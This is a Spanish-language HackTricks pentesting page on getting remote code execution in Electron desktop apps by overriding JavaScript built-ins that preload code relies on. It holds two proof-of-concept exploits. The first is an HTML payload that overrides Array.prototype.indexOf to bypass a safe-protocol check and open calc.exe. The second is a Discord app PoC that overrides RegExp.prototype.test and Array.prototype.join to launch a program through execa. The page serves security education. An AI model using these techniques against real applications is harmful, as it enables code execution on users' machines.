hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

105 lines
6 KiB
Markdown
Raw Normal View History

# RCE en Electron con aislamiento de contexto a través de código de precarga
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Ejemplo 1
Ejemplo de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
Este código abre enlaces http(s) con el navegador predeterminado:
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
Algo como `file:///C:/Windows/systemd32/calc.exe` podría usarse para ejecutar una calculadora, el `SAFE_PROTOCOLS.indexOf` lo está previniendo.
Por lo tanto, un atacante podría inyectar este código JS a través de XSS o navegación arbitraria de páginas:
```html
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
```
Como la llamada a `SAFE_PROTOCOLS.indexOf` siempre devolverá 1337, el atacante puede eludir la protección y ejecutar el calc. Exploit final:
```html
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Consulte las diapositivas originales para otras formas de ejecutar programas sin que se solicite permiso.
Aparentemente, otra forma de cargar y ejecutar código es acceder a algo como `file://127.0.0.1/electron/rce.jar`
## Ejemplo 2: Discord App RCE
Ejemplo de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
Al revisar los scripts de precarga, descubrí que Discord expone la función, que permite que algunos módulos permitidos sean llamados a través de `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, en la página web.\
Aquí, no pude usar módulos que se pueden utilizar para RCE directamente, como el módulo _child\_process_, pero **encontré un código donde se puede lograr RCE sobrescribiendo los métodos integrados de JavaScript** e interfiriendo con la ejecución del módulo expuesto.
A continuación se muestra el PoC. Pude confirmar que la aplicación **calc** se **abre** cuando **llamo a la función `getGPUDriverVersions`** que está definida en el módulo llamado "_discord\_utils_" desde devTools, mientras **sobrescribo `RegExp.prototype.test` y `Array.prototype.join`**.
```javascript
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
La función `getGPUDriverVersions` intenta ejecutar el programa utilizando la biblioteca "_execa_", de la siguiente manera:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
```
Normalmente, _execa_ intenta ejecutar "_nvidia-smi.exe_", que se especifica en la variable `nvidiaSmiPath`, sin embargo, debido a la sobreescritura de `RegExp.prototype.test` y `Array.prototype.join`, **el argumento se reemplaza por "**_**calc**_**" en el procesamiento interno de \_execa**\_**.
Específicamente, el argumento se reemplaza cambiando las siguientes dos partes.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>